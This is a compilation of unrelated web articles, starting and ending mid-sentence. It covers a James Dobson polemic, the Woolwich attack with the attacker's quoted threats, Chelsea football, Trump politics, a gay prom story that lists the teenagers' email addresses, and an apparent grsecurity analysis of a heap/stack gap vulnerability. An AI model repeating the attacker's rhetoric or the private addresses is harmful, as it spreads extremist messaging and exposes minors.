schoolbooks in the face of one annoying youth. “By the time he could see me again I was on top of him,” Dobson writes. Dobson also tried a little bullying himself, targeting a boy whom he sized up as a “sissy.” But the boy gave him such a thrashing that Dobson concluded bullying wasn’t for him. Elsewhere the story notes that in the Dobson household there were “a million rules…regulations and prohibitions for almost every imaginable situation.” Dobson recalls being “chewed out for using the expression ‘Hot dog!’ and forbidden from uttering ‘darn,’ ‘geez,’ or ‘dad-gummit’ because they were considered shorthand swear words.” Even more alarming, Dobson admits in one of his books that as a child he arranged a fight between two mismatched dogs. The battle involved a tenacious bulldog and a “sweet, passive Scottie named Baby,” and Dobson provoked it by throwing a tennis ball toward Baby. He writes what happened next: “The bulldog went straight for Baby’s throat and hung on. It was an awful scene. Neighbors came running from everywhere as the Scottie screamed in terror. It took ten minutes and a garden hose for the adults to pry loose the bulldog’s grip. By then Baby was almost dead. He spent two weeks in the animal hospital, and I spent two weeks in the doghouse. I was hated by the entire town.” As any child psychologist will tell you, this type of cruelty toward animals is a sign of a serious psychological disturbance. James Dobson is a sick, sick man. Instead of seeking help for the psychological damage he suffered as a child, he decided instead to inflict evil on others by manipulating them into beating their own children and telling them God wants them to. Talk about dragging Biblical understanding through the gutter. I will never on any day be listening to anything James Dobson has to say about the Bible or any other subject. Why the media gives his man any credence whatsoever is one of the great mysteries of life that will never be adequately explained. -It's not clear how or why two men attacked a man believed to be a British soldier in the London neighborhood of Woolwich, but U.K. officials are already investigating it as a possible act of terrorism. A video broadcast by the U.K. network ITV purports to show one of the two attackers explaining himself to a camera immediately after the attack. His hands are covered in blood, a knife and a machete in his right hand. The victim is clearly visible on the ground with a crowd gathering in the background. Here's what he said: We swear by Almighty Allah we will never stop fighting you. The only reasons we have done this is because Muslims are dying every day. This British soldier is an eye for an eye a tooth for tooth. We apologise that women had to see this today but in our lands our women have to see the same. You people will never be safe. Remove your government. They don't care about you. The Guardian cites eyewitnesses as describing the attack as a "beheading." The BBC talked to an eyewitness who describes what he saw after arriving in the middle of the attack: I saw two people lying over him and I thought they were trying to resuscitate him. I went down to the garage and another bloke come along and told me they were actually stabbing him. Apparently they actually ran the car into him and knocked him down before they did anything. And the next minute a silver car came along and a man got out and shouted he was going to phone the police. The next thing that happened was he actually pulled a handgun out. It was a gun that looked as if it could take about 12, 15 rounds so I definitely know it was handgun because I actually seen it in his hand. The same witness also said that some unarmed police were nearby but did not want to approach the men, who appeared to be armed, until armed "Trojan" police arrived. The two attackers were shot by police and are currently receiving medical treatment. Update: The Washington Post's Anthony Faiola, reporting from London, listened to the ITV video very carefully and came away with a different quote than the one circulating in British media. The first part of the attacker's quote is difficult to hear because the ITV anchor is speaking over him. It's not clear to me where the above version, which is cited in The Guardian and elsewhere, first appeared. Here's the quote as heard by Faiola: -If you take the long view with Chelsea — the view that starts on the day Roman Abramovich first wrote his name on the club in 2003 — the amazing thing isn’t that they won the Champions League but that they won it the way they did — as underdogs, riding on luck and drama. Consider: 1. Chelsea became the champions of Europe while finishing in sixth place in their own country, the worst domestic-league finish of any team since the European Champion Clubs’ Cup became the Champions League in 1992. If they hadn’t won the tournament, they wouldn’t have qualified to play in it next year. 2. In the quarterfinals, Chelsea overturned a 3-1 first-leg deficit against Napoli to win 5-4 after the home leg at Stamford Bridge. This happened after a late Lampard penalty forced extra time, allowing Branislav Ivanovic, who has scored eight goals in 107 appearances for Chelsea, to slot home a Drogba cross in the 105th minute. 3. In the semis, they blew a 1-0 first-leg lead against the hugely favored Barcelona, went down 2-0 in the away leg, saw John Terry sent off in the first half, and somehow, with 10 men, came back to win 3-2 when Fernando Torres — he of the recent 1,541-minute goal drought — scored on a breakaway counter in the 91st minute. 4. In the final, again playing against a favored team at that team’s home stadium, and now missing four key players due to suspension, they again fell behind, needing late Drogba heroics, extra time, a colossal Petr Cech save against Arjen Robben, and a comeback during penalties (including more late Drogba heroics) to win. Bayern had a 43-9 shot advantage and a 20-1 advantage in corner kicks. Chelsea’s one corner led to Drogba’s match-tying goal. You know those scenes in Friday Night Lights when Dillon comes back to win on a four-play, 240-yard drive that ends with a 90-yard Hail Mary with 0.001 seconds left? Chelsea did that in the Champions League against three straight opponents, two of whom (Barcelona and Bayern) finished 1-2 in both possession and pass-completion rate in Europe, one of whom (Barcelona) was an era-defining team that had won two of the last three Champions League titles. If it hadn’t been Chelsea — a massively well-funded English club with global reach and an owner who owns multiple submarines — we would have talked about this as if it were the Cinderella run to end all Cinderella runs. No matter how dire their situation looked, Chelsea just kept surviving, trailing streams of exclamation points, and somehow repeatedly blowing up the clock a split second before the minute hand touched midnight. It’s hard to remember now what a disruptive force Chelsea was in world soccer during the first few years after Abramovich bought the club. Back in 2006 — the year the club won the second of its two straight Premier League titles under Jose Mourinho — the novelist John Lanchester joked that he was now supporting Chelsea “on Maoist grounds,” and his friend responded, “I think that’s more Pol Pot–ist.” That was how Chelsea seemed back then: like a terrifying power that was either going to remake the game or burn it to the ground, if not both. Years before Manchester City batted an eyelash toward Abu Dhabi, it was Abramovich’s takeover at Chelsea that established the archetype of the shady superbillionaire who buys a soccer team to use as his personal plaything. The old, established hierarchy of powerful clubs — the Manchester United/Real Madrid cohort — certainly ran on money, but even the top clubs were shocked by the sums Abramovich could casually throw around — £21 million for Shaun Wright-Phillips, £24 million for Drogba, £31 million for (gulp) Andriy Shevchenko. Not all these players worked out (see previous gulp), but what difference did that make when Chelsea could go back to the well for £30 million whenever they felt like it? European soccer, which had no salary cap, no luxury tax, very little revenue sharing, no draft — almost no parity-fostering features at all — had no defense against this. Chelsea looked upon the dynamics of the sports economy and just luxuriantly did not give a shit. Any player in the world was potentially theirs for the taking. This was also right around the moment when the Premier League stopped being an English sports league with international appeal and became an international sports league that happened to be based in England. Knowingly or not, Abramovich exacerbated all the tensions associated with the league’s rush toward globalization. He was a trembly-lipped, bodyguard-flanked petro-oligarch with close ties to Vladimir Putin. He was the long-distance governor of a remote Russian province. (Chukotka forever!) He collected yachts. He built the club both with global capital and in the model of global capital — ruthless, chaotic, indifferent to local tradition. Arsenal had filled squads with foreign players, but only in the service of Arsene Wenger’s finer principles; they had to buy this Ivorian and this Estonian, because of the harmony and balance that would result from bringing them together. Abramovich, by contrast, bought foreign players the way other people might shop for shoes online. It wasn’t about team chemistry or even tactics. It was about acquisition for its own sake, about taking whatever you wanted. Or anyway, that was how it seemed. Predictably, Chelsea was feared and hated. Abramovich compounded both emotions by hiring Jose Mourinho to manage the club in 2004. The new coach reveled in the panic Chelsea caused and did everything he could to provoke the English soccer establishment, from calling Arsene Wenger a “voyeur” to signing the widely loathed Ashley Cole as the team’s left back. Mourinho created the mother of all siege mentalities around the club, and it worked frighteningly well: In 2004-05, Chelsea demolished the field during the most annihilating championship run since the Football League was founded in 1888: 95 points, 29 wins, 15 goals (15!) conceded all season. They won again in 2005-06. For four and a half years — 86 games, stretching from March 2004 to October 2008 — Chelsea didn’t lose a single home game. It was easy to hate them, but there was also something thrilling about the ease with which they turned English soccer upside-down. Top-level European soccer is essentially a racket that benefits the big clubs at everyone else’s expense. The only thing capable of destabilizing the status quo is a massive amount of money. For around five years, from 2003 to 2008, Abramovich’s billions were the most anarchic force in the sport. Chelsea wasn’t staging a proletarian revolution; that’s not how billionaires operate. But they were doing the next best thing — punching Manchester United in the mouth and swaggering off with both middle fingers up. Their audacity was its own kind of greatness, even if it was founded on an even more rigged game, global capitalism. Naturally, this couldn’t last. Chelsea spent three seasons as the flashpoint of English soccer — the club with the most money, the deepest and most talented squad, the most flamboyant coach, and by far the most controversial headlines. At some point, though, the rest of soccer started to catch up. More billionaires bought into the game. Some of them, like Sheikh Mansour at Manchester City, were even richer than Abramovich. Other clubs got better at exploiting global finance, sponsorship, and the weird pathways of 21st-century commerce (cf. Real Madrid’s plan to build a $1 billion resort island in the United Arab Emirates, which reads like something Jerry Jones dreamed up on a particularly sweaty peyote trip). UEFA passed Financial Fair Play, a set of rules that should/might/could possibly curtail runaway sugar-daddying in European soccer. At the same time, Chelsea itself tore down some of the walls that kept it separate from other big teams. For years, Chelsea was at entertaining odds with the G-14, a supergroup of the biggest clubs in European soccer. After a lot of cloak-and-dagger maneuvering from then-Chelsea executive Peter Kenyon, the G-14 dissolved in January 2008 and was replaced by the European Club Association, a larger group that does include Chelsea. But the typical radicals-to-congressmen rules applied: Every time Chelsea made it a little further into the game’s aristocracy, the club seemed a little less dangerous. More urgently, Abramovich decided that winning the European Cup was his overriding top priority. After firing Mourinho’s successor, the toadlike, thoroughly unqualified, and surprisingly successful Avram Grant — whose run included a 16-match unbeaten streak, a razor-thin loss on penalties in the 2008 Champions League final in Moscow, and a press conference in which he refused to answer any questions — Abramovich cycled through a sequence of far more conventional big-name managers like Phil Scolari, Carlo Ancelotti, and Guus Hiddink. He demanded “entertaining football” in place of Mourinho’s dull but punishingly effective 4-5-1. Where Chelsea had once seemed totally indifferent to the established ways of doing business, now they started to seem like another Juventus or Madrid — a big club answerable to the whims of the fans and the media. They even started sounding serious when they talked about turning a profit. People (including me) still complain about Chelsea and their money, but the truth is that they’ve been pretty normal for a pretty long time. Manchester City has more or less taken over the “crazed and embattled vessel of the super-rich” role at this point, with the difference being that their most provocative antics now feel kind of homespun and familiar, because Chelsea’s already been there. Soccer has a way of assimilating whatever weird new challenges the clubs throw at it, and the aging squad of ex-controversialists at Stamford Bridge is proof that the game will still be there when Carlos Tevez finally calms down. The terror that Chelsea represented in those early years was that with enough money, all the surprise could be taken out of the sport. When you spend a hundred million and then concede 15 goals across a 38-game season, you raise the legitimate fear that you will simply buy all the talent, win all the matches, and conquer European soccer with your unstoppable army of math. The irony, of course, is that by winning the Champions League with a frenzy of improbable, last-second comebacks, Chelsea finally conquered European soccer behind exactly the sort of unpredictability that they once threatened to eradicate. Somehow, winning the biggest tournament in the game was the least fearsome and most accessible thing they’ve done in the Abramovich era. It took frantic adjustments, the way it does for everybody, and a different kind of good fortune. After nearly a decade under soccer’s most iconoclastic rich dude, Chelsea now wins and loses on lucky breaks and heart, the way everyone loses and wins. -Yet the President is fast losing the few friends he did have in the capital, following a wild period in which he offered cover to white supremacists and ignited a war of words with North Korea, leaving GOP allies in the crossfire. Thursday brought rebukes from two prominent Republican senators and a member of the highly influential Murdoch family, staunch supporters of the President. Bob Corker, one of the most respected Senate Republicans, who has tried to keep open channels to the White House and coax Trump toward a more conventional foreign policy, unloaded on him in a spectacular manner. The chairman of the Senate foreign relations committee is not prone to outspoken outbursts and thinks carefully before delivering his analysis. So his critique that the President has not shown sufficient stability, competence or understanding of the character of the country that he leads was devastating. South Carolina Sen. Tim Scott was another Trump ally who had been wrestling with a painful political and moral dilemma. But he also broke ranks Thursday, saying he could not defend the "indefensible" in the wake of Trump's comments about the alt-right rallies in Charlottesville. Scott, the only black Republican senator, suggested that Trump had squandered the moral authority of his office -- a critical commodity vital in binding the nation together in a time of crisis or national tragedy that also helps to sustain the power of any presidency. Another sign of Trump's growing isolation came Thursday night. James Murdoch, the 21st Century Fox CEO and son of Rupert Murdoch, who is one of Trump's close informal advisers, wrote a withering email denouncing the President's reaction to the White Supremacist rally and the violence it sparked. "I can't even believe I have to write this: standing up to Nazis is essential; there are no good Nazis," Murdoch wrote. "Or Klansmen, or terrorists. Democrats, Republicans, and others must all agree on this, and it compromises nothing for them to do so." Their sharp words were a clear indication of the damage that Trump inflicted on himself with his unchained news conference Tuesday, in which he drew an equivalence between racists and counterprotestors in Charlottesville and offered a shocking glimpse of his inner beliefs and temperament. The defections of the two senators followed a stampede away from Trump by CEOs who served on White House advisory councils, amid fears their company brands could be tarnished by association with the President. It all left Trump increasingly alone and even more reliant on his ever-loyal core voters, who sustain him in times of self-inflicted controversy and public outrage, but who may not represent a sufficiently broad base on which to build a successful presidency. Corker and Scott have been slow to join the ranks of Trump's critics. Corker for instance, was on the President's short list to become vice president or secretary of state. And although he warned in May the White House was in a "downward spiral," he has not been a fixture on the chorus of Trump critics that includes Arizona Sens. John McCain and Jeff Flake. Congressional tensions have a political price The rebukes by Corker and Scott also pointed to a looming political problem that Trump has only exacerbated by his recent behavior. The President was already lacking friends in the Senate, a reality that became clear in his narrowly failed push to repeal and replace Obamacare that left little doubt that few senators fear or revere him. If he is to enact his ambitious political agenda that includes items such as tax reform and a massive infrastructure program -- or to influence Senate Republican legislation on these issues -- he will need to mend his toxic relations with top GOP members of the chamber, not least his feud with Senate Majority leader Mitch McConnell. Every lawmaker is acutely conscious of the political pressures that weigh on them in their districts and states. The fact that Corker and Scott felt able to speak out may hint at trouble for Trump's political fortunes. It may also reflect an ebbing of enthusiasm for the President among grassroots GOP voters. While 83% of Republicans approved of the job that the President was doing in the latest CNN poll last week , there were indications that the number of GOP voters who strongly approve of him is beginning to wane. In a way it's not surprising that Republicans feel free to criticize the President. His presidency has been in crisis from almost its first day. His approval ratings are the lowest of any modern president at an equivalent stage, and his campaign is facing a special counsel probe into allegations of collusion with a foreign espionage service. Only the resilient economy that continues to pump out good job numbers may be preventing a complete free-fall. The implications of Corker's remarks Thursday are staggering. Taken to their logical conclusion, the remarks, from the lips of a friend, suggest that the President is simply not fit for office. "The President has not yet been able to demonstrate the stability nor some of the competence that he needs to demonstrate in order to be successful," Corker said, according to a video posted by local news website Nooga.com. The Scott and Corker critiques fit into a trend that is seeing Trump's circle of influence and political relationships shrink as his White House slips further into self-imposed isolation and crisis. The now-disbanded advisory councils on which the CEOs served might have been little more than public relations efforts, but their demise dealt a blow to Trump, who relished gathering corporate titans to talk business and to stage photo-ops in which he starred. In many ways, after a largely unproductive first seven months in office, Trump is again becoming what he has always been — an outsider. His White House inner circle is dwindling, after the ouster of former chief of staff Reince Priebus and press secretary Sean Spicer, creatures of the Washington D.C. Republican establishment. There are rumors that another latecomer to Trump's campaign, his ideological alter ego Steve Bannon, may also be on the way out. This week, Trump, having failed to lure a big hitter to the West Wing, named Hope Hicks, one of his most loyal aides, as interim communications director. In another sign of his insularity, the President -- even when he leaves the White House -- rarely spends time outside his comfort zone in Trump-branded properties. He has spent extended time at his resort at Mar-a-Lago in Florida and Bedminster in New Jersey. If he goes out in Washington, it's usually to the Trump hotel on Pennsylvania Avenue. If he's in the White House at weekends, he usually flees to his golf course on the banks of the Potomac in Virginia. Testing the limits of an unorthodox strategy Trump's narrowing political horizons are also reflected in his political strategy. In many ways, his unrestrained, unpredictable behavior of the last week recalls the persona that made him so popular with disaffected heartland voters. By picking political fights on the status of Confederate monuments amid the fallout of his interventions on Charlottesville, he is raising issues that are important to a certain section of the conservative, Republican base. Next week, the President will return to the embrace of his adoring core voters, at what is expected to be a raucous rally in Arizona. His pitch is sure to position him as the anti-establishment champion of voters who revile Washington. So while the defections by senators like Corker and Scott are damaging to his hopes of getting things done, they actually offer a measure of validation in a different political context. Many accounts of Trump's life and career stress that the President has never been the kind of person who cultivates vast networks of close political friendships. And he gives the impression that the only people who are not expendable to him are those in his family inner circle. Right from the start of his rise as a brash, young, real estate up-and-comer from Queens, Trump was spurned by New York elites and seen as a brazen self-publicist. He was never part of the corporate crowd he courted as President. But his experience of being spurned helps explains the uncanny connection he forged with working-class, heartland voters who felt excluded from the economic boons unleashed by globalization and the economic recovery after the 2008 crisis. His instinctive understanding of his fellow outsiders also helped shape his ferocious assault on the GOP establishment — which made him President. But it left him with a string of political enemies that made the friends he did have in Washington all the more important. That's why the rebukes from Corker and Scott may end up being even more damaging than they first appear. -It's prom season at high schools across the country, a special time that until recently has been reserved for straight student couples. A sign of growing acceptance and change took place in West Virginia on Saturday night. The Mussleman High School senior prom was held at The Heritage Hall in Inwood, West Virginia. Among the couples attending were Michael Martin, a Mussleman senior, and his boyfriend Logan Westrope, who attends Hedgesville High School. Michael was a four-year starter on his school's soccer team, making all-state as a goalie. He is also an all conference swimmer and tennis player. He told his coming out story on Outsports in December, in what was our most-viewed story of 2014. Michael will attend Wilson College in Pennsylvania this fall, major in Environmental Sustainability and play soccer. Logan plays tennis for Hedgesville High School. He will attend Penn State University and major in meteorology. The two have been dating for four months. "We knew this would be a night to remember," Logan told Outsports. "We walked in, checked in with our tickets, and were off to have fun! At first we were both a little hesitant to hold hands, not knowing how the rest of the student body would react. But after a short while, we were always next to each other and danced together the whole night. "Some of the slow songs we danced to were 'Stay With Me' (Sam Smith), 'See You Again' (Wiz Khalifa), and 'All of Me' (John Legend). At the moment when the slow songs played, we would just stare into each other's eyes and would think of how lucky we are to have each other. "We didn't hear any negative comments about Michael and I. A lot of people would come up to us (especially the girls) and say, 'You both are so cute!' or 'You guys look great!' Once we left the prom, I remember Michael saying to me in the car, 'Logan, this is our last prom and I'm so glad I got to spend it with you.' I couldn't have asked for a more perfect night." Michael asked Logan to the prom in March in the parking lot of Chik-fil-A, where Logan works. "I asked Logan to the prom after his work. I gave him a bag with a chicken sandwich inside and asked, 'Are you a chicken or will you go to the prom with me?' " Michael said. "He easily and gladly said yes." "Most everyone knows that I am gay and for the most part everyone that I work with there accepts me for who I am," Logan said. "I was extremely nervous to tell my fellow employees but then realized I wasn't afraid to show the real me." Here are photos from their big prom night. All photos were taken by Logan's mom, Jodi Brotman Westrope: Michael and Logan get ready for the night West Virginia cool Logan's dog, Piper, sees her master and his man off An avid photographer (his Instagram page has 19,000 followers), Michael takes a shot of Logan at Poor House Farm Park in Martinsburg Michael adjusts Logan's corsage Logan returns the favor No prom these days would be complete without a selfie The happy couple at the end of the night Michael Martin can be reached via email (soccer4h96@gmail.com), Twitter, Facebook and Instagram. Logan can be reached via email (logan.westropehhs@gmail.com), Facebook and Instagram. -In the city that never sleeps, most people could not be bothered to count the sheep that for three minutes every night this month have been filling more than 20 electronic billboards in Times Square. Bales of hay, flocks of sheep and other pastoral scenes that were shot in Wyoming are being beamed onto screens ranging in size from 15,000 square feet down to 32 — small enough to fit on the side of a newsstand. A sheep’s face peered over Broadway between 42nd and 43rd Streets as it appeared more than seven stories tall on the Nasdaq billboard. The glimpses of rural life displayed in the heart of New York are part of “Midnight Moment,” a synchronized digital art exhibition curated by Times Square Arts that lasts from 11:57 p.m. to midnight each night. The footage, from a yet-to-be-released documentary called “Counting Sheep,” was first shown on Dec. 1 and will appear through Dec. 30. -The following is an analysis of a currently (at the time of this writing in early June) unnecessarily embargoed vulnerability in multiple OSes regarding the userland heap/stack gap and how it affects grsecurity (or rather, doesn't affect it and hasn't affected it for many years). It's unnecessarily embargoed because the issue was already publicly discussed fully in Gaël Delalleau's underappreciated 2005 CanSecWest presentation available here. A patch (available here) for this problem even existed prior to that presentation, created by Andrea Arcangeli in 2004 and included in at least SUSE Linux Enterprise 9 and 11 (as mentioned here). I am not a member of the private distros or linux-distros mailing lists, and though this particular issue is leaking through various channels like a sieve, I have no interest in digging out more details or ruining embargoes that I'm not party to. As a matter of principle, we choose not to participate in embargoes (even for issues reported to us) as they distort public perception of security: differences in response time, level of proactive measures, and quality of in-house security talent is obfuscated through the activity and delay happening behind closed doors. Effective security shouldn't depend on hoping the "bad guys" don't have early access to vulnerability information, which is what zero-days are all about. So this article is being written based off my impression of what the "newly" discovered vulnerability is, knowing nothing about whatever particular userland application prompted the sudden intense interest, and will be published immediately after expiration of the embargo. Andrea's patch mentioned above was never included in upstream Linux in 2004, and no improved version appeared in its place in the years following. That changed in 2010 when a highly-publicized instance of the kind of vulnerability Andrea's patch was designed to prevent was published against the X server by Rafal Wojtczuk. Rafal had worked with distributions on the now-shuttered private vendor-sec mailing list to ensure a fix for the issue was created at the kernel level. Seven weeks later, based purely off private discussions, Linus attempted to silently fix the issue via this commit, yet it had to be revised repeatedly later (at least as late as 2013 -- see this commit) as it broke userland applications and oopsed the kernel. But more importantly, Linus' patch didn't address the wider problem, but instead only the particular reported instance of the problem -- attacker-controlled recursion that could be prevented by a single guard page. We mentioned the problems with the patch publicly in comments on an LWN article on Linus' patch, but those comments, technical explanations, and C/assembly examples of issues not covered by Linus' patch fell on deaf ears; the upstream Linux stack/heap guard code saw no improvements in the following years. And now, as they say, the chickens have come home to roost. I imagine the issue is that someone again realized the behavior of GCC and LLVM on non-Windows OSes with regard to the default non-existence of stack probing and found some new instance of a vulnerable and widely-used application/service to exploit. The following is a summary of the main issues which have all been heavily detailed and explained already in Gaël's 2005 presentation from slide 24 onward (under the heading of "Jumping the stack gap"). Calls to alloca() over a page in size, large local variables, variable-length arrays (VLAs), etc can all easily skip over a single guard page and read from/write to an attacker-controlled mmap-based heap allocation and cause further deeper stack frames to do the same, with all the implications on saved instruction pointers, etc. Not only does this problem affect the main process stack, but it's an issue for thread stacks as well. It was part of the motivation for the creation of GRKERNSEC_RAND_THREADSTACK over four years ago in response to this alloca()-based vulnerability/exploit by Exodus Intelligence. Further easing exploitation is that Linux will honor mmap hints, conceivably permitting some rare vulnerable application to allow an attacker to suggest an allocation just below the stack guard page without needing to exhaust virtual address space to accomplish it (which would open up this vulnerability for more 64-bit apps). Under PaX's ASLR, this is infeasible since mmap hints are ignored. MAP_FIXED requests are of course honored as required by the standard, but an attacker controlling those can just as easily blow away any existing allocation and replace it with their own content. Further, much like Andrea's original patch, our heap/stack protection (implemented via an enforced gap instead of Linus' guard page) can be adjusted in size at runtime. Andrea's patch defaulted to a single page gap (for compatibility reasons that aren't a problem for the PaX implementation) whereas the PaX implementation enforces a 64KB gap at minimum by default. Without stack probing in place, any uncontrolled alloca() could be abused, so the chosen size of the enforced gap is a tradeoff between virtual address space wastage and security-based assumptions about reasonable stack allocation ranges an attacker might have control over without being fully unbounded. It should be clear that kernel-only attempts to solve this problem will necessarily always be incomplete, as the real issue lies in the lack of stack probing. Since the alternative real solution depends on rebuilding all userland, this is likely the only feasible solution for the foreseeable future. On grsecurity systems, the size of the heap/stack gap can be adjusted via the /proc/sys/vm/heap_stack_gap sysctl entry. For instance, the following command will enforce a 1MB main stack gap for all new allocations: echo 1048576 > /proc/sys/vm/heap_stack_gap An interesting historical note: looking through the current upstream Linux kernel code, one will find a remnant perhaps of Andrea's never-merged original implementation, a single "int heap_stack_gap = 0;" line unreferenced by anything else in the kernel, but introduced by accident via an unrelated nommu commit by David Howells in 2005. This variable in Andrea's implementation held the number of pages of the variable-sized heap/stack gap, something Linus' later implementation crucially lacked. Despite several public comments and LKML threads about this line, it continues to stand alone as a reminder about the dangers of NIH. One might now be wondering: doesn't this same issue also apply to the kernel stack? Yes, it does. Here too upstream developers failed to note or care about this particular excerpt from our KSTACKOVERFLOW configuration help: This introduces guard pages that in combination with the alloca checking of the STACKLEAK feature and removal of thread_info from the kernel stack prevents all forms of kernel process stack overflow abuse. The PaX STACKLEAK plugin was added to grsecurity prior to my work on KSTACKOVERFLOW, so KSTACKOVERFLOW built upon it. The STACKLEAK plugin importantly instruments all implicit and explicit calls to alloca() by the kernel, ensuring the requests wouldn't step outside expected stack boundaries. One might recall the STACKLEAK plugin from when it was "ported" by a member of the KSPP, making no mention whatsoever in the commit description or Kconfig help of this functionality, and also having failed to even enable the plugin at all due to failing to adjust some copied and pasted lines from the Makefile to actually enable the plugin. This functionality also wasn't mentioned during a subsequent recent "port". This is but one of many examples that seriously raise the question of how security functionality will be properly implemented and maintained upstream if the maintainers don't understand what the code they've copy+pasted from grsecurity does in the first place. The upstream CONFIG_VMAP_STACK has been claimed by many to be equivalent to what's present in grsecurity. Its Kconfig description includes the following: This causes kernel stack overflows to be caught immediately rather than causing difficult-to-diagnose corruption. This claim was repeated by various news outlets reporting on the upstream VMAP_STACK feature. One may recall VMAP_STACK for being responsible for over a dozen kernel CVEs, introducing potential memory corruption and denial of service through its design and resulting in several additional CVEs for memory handling errors in the fixes needed for those CVEs. Defending VMAP_STACK recently against claims by me that the implementation is objectively bad, Kees Cook of the KSPP said "With this implementation in place, now those kernel stack exploit methods are dead." Remember that even though stack overflow vulnerabilities are quite rare in the first place, let alone exploitable ones, at least one of the published exploits for a Linux kernel stack overflow vulnerability (CVE-2010-3848) was exactly for this kind of vulnerability that VMAP_STACK would be unable to protect against. Unless there were at least 99 other exploitable stack overflow vulnerabilities in the kernel, characterizations by another KSPP and linux-hardened contributor that VMAP_STACK fixes 99% of the issue are also patently false. In fact, VMAP_STACK lacking the equivalent functionality in grsecurity not only leaves it possible to exploit certain VLA-based overflows, it may ironically make it even easier to exploit these lingering forms of kernel stack overflows. Vmalloc allocations are less frequent to the point that one could more reliably target an adjacent victim kernel stack or other large allocation, not needing to know its absolute address. As should now be clear, the kinds of kernel stack overflows grsecurity can prevent are not at all dead upstream, or for that matter in the recent linux-hardened project, which in its comparison matrix comparing upstream to grsecurity under the heading of "Prevent kernel stack overflows" suggests that upstream's reimplementation of grsecurity's protection for this class of vulnerabilities is "complete". In our comparison matrix we marked the associated KSPP feature with a orange minus symbol denoting "watered-down features that differ significantly in their implementation and security benefits". We'd been called misleading for this, while I held my tongue knowing the facts of the matter. By now it should be evident how much faith should be put into security claims and comparisons to grsecurity by developers that don't understand the basics of the code they're copying and pasting. It also demonstrates what we've said all along about the synergistic benefits of various grsecurity and PaX features that aren't realized by mindless piecemeal extraction. A careful reader may have noted the title of this article is a tongue-in-cheek reference to the LWN article linked above. This blog is being published as a teachable moment to demonstrate that articles written by non-security experts simply repeating the security claims of other non-security experts about their own code or others' code are to be taken with a large grain of salt. The "ancient kernel hole" LWN grandiosely proclaimed was closed, was in fact not closed at all for the past seven years. The facts destroying the myth have been available there for everyone to see all this time, but when a news site seems to care so little about accuracy in reporting that it doesn't (for instance) contact the subject of an article prior to publication, or correct glaring factual errors in its content that they've been made aware of, instead requiring readers to wade through pages of third-party comments, it's no wonder that the public is fooled by authoritative-sounding articles and don't bother investigating further. Some months ago I stopped publicly commenting on LWN due to its lack of concern for accuracy in reporting and commenters' lack of interest in learning. When the next issue is reported incorrectly, a reader can't assume an expert will chime in with a proper analysis as happened in this case seven years ago. Technical debt always finds a way to be repaid, with interest. -Double Dragon is one of the most iconic games ever made, and while the series is best known as side-scrolling beat ’em up, there was actually a legit Double Dragon fighting game based in the 1994 movie. Released for the Neo Geo CD, the movie-based fighting game was actually a well-developed and fun game that even The Angry Video Game Nerd (James) can’t help but praise. It’s apparently one of his favorite fighters of all time. Now, James is no fighting game aficionado, but he is a gaming enthusiast who knows a thing or two about good and bad video games. Watch him play and critique the obscure Double Dragon fighting game… Are you old enough to remember Double Dragon? Do you have any fond memories of the series? Let us know in the comments below. -Nintendo will release special shiny packaged versions of its upcoming Nintendo 3DS ports of Pokémon Gold and Silver, the company announced today — at least in Europe and Japan. The company’s European division tweeted out the photo below, confirming that the boxes would contain digital download codes for the games; these can also be purchased separately. On 22/09, shiny packaged versions of #Pokemon Gold and Pokémon Silver containing a download code will be released in shops. pic.twitter.com/PpfYtZFzp2 — Nintendo of Europe (@NintendoEurope) August 18, 2017 The Japanese version of the retail release includes additional goods: magnets shaped like the original Game Boy Color cartridges, stickers and a poster featuring the Gold and Silver generation’s Pokémon. Polygon has reached out to Nintendo to ask if the special edition boxes will also be available in North America and will update when we hear back. Maybe don’t get your hopes up, however — similar retail releases for the 3DS Virtual Console ports of Pokémon Red and Green last year didn’t make it stateside. Nintendo announced in June that Pokémon Gold and Silver, originally released in 2000 for the Game Boy Color, would be available to download on the Nintendo 3DS eShop. Nintendo also confirmed that the updated versions of the games would be compatible for the first time with Pokémon Bank, the 3DS service that allows players to deposit, store and manage their pocket monsters in private Boxes online. Pokémon Gold and Silver will be available to download on Sept. 22. -TODAY marks the 22nd anniversary of Xena: Warrior Princess, who first came into our lives in 1995 and has remained a major part of pop culture ever since. For many, Xena was an icon of feminism, female empowerment and strength and became an icon for the LGBT community thanks to her challenging ideas of masculinity and femininity, and her relationship with sidekick Gabrielle. So to celebrate all that Xena’s given us over the years, here are a few facts you may not have known about the show, complete with tributes from around the Twittersphere from fans celebrating this auspicious day. LUCY LAWLESS WAS NOT THE FIRST CHOICE TO PLAY XENA Xena is so ingrained in pop culture now that it’s hard to imagine anyone else playing the part, but she wasn’t actually the first choice for it. The first choice was British actress Vanessa Angel, who starred in the TV adaptation of Weird Science. However Angel fell ill before she was supposed to fly to the set and Tapert eventually decided on giving Lawless the role. RENEE O’CONNOR WASN’T THE FIRST CHOICE FOR GABRIELLE, EITHER Renee O’Connor has similarly become the only face fans could imagine playing Xena’s trusty sidekick and love interest Gabrielle, but she also wasn’t the first choice. Sunny Doench was meant for the role but backed out, reportedly because she didn’t want to leave her partner in the States. Lucky break for us, but not so much for her. XENA’S LOOK WAS MODELLED OFF A TENNIS STAR Xena was originally going to be blonde, but Lucy Lawless died her hair black. Lawless decided that an Amazonian princess should look more like Gabriela Sabatini who was “the big noise in tennis” at the time. In an interview for the Emmys, Lawless said: “I was like, ‘What about being like her? She’s big and bronze and dark-haired.’ Fortunately they went that way, because my hair would have fallen out if we tried to keep it blonde.” THE CREDITS HAD A RUNNING IN-JOKE FOR FANS The credits regularly had a fake disclaimer similar to the Humane Association messages saying “no animals have been harmed”. It started as an occasional joke in season one, but by season two, every single episode had disclaimers like, “Despite Gabrielle’s incessant hurling, Ulysses’ ship was not harmed during the making of this motion picture”, “No harpies were harmed in the making of this episode”, “No oversized Polynesian-style Bamboo Horses were harmed during the production of this motion picture. However many wicker lawn chairs gave their lives,” and in an episode featuring Xena’s death; “Xena was permanently harmed in the making of this motion picture, but kept her spirits up.” Fans caught on and started keeping track of each message via internet forums. Which brings us to the next point. XENA AND GABRIELLE WERE PRACTICALLY MARRIED Speculation has always been rife over the relationship between Xena and Gabrielle and through many interviews over the years, the cast and crew have confirmed that gay subtext was done entirely on purpose. But while the relationship was never made explicitly clear on the show, Lawless told Lesbian News in 2003 that Xena was “Gay. Gay, definitely.” Not bisexual, not pansexual, not even just curious and experimenting — as far as she’s concerned Xena and Gabrielle, “They’re married, man.” XENA WAS ONE OF THE FIRST SHOWS TO HAVE AN ONLINE FANDOM — AND IT’S STILL GOING STRONG While nowadays, we use the internet for pretty 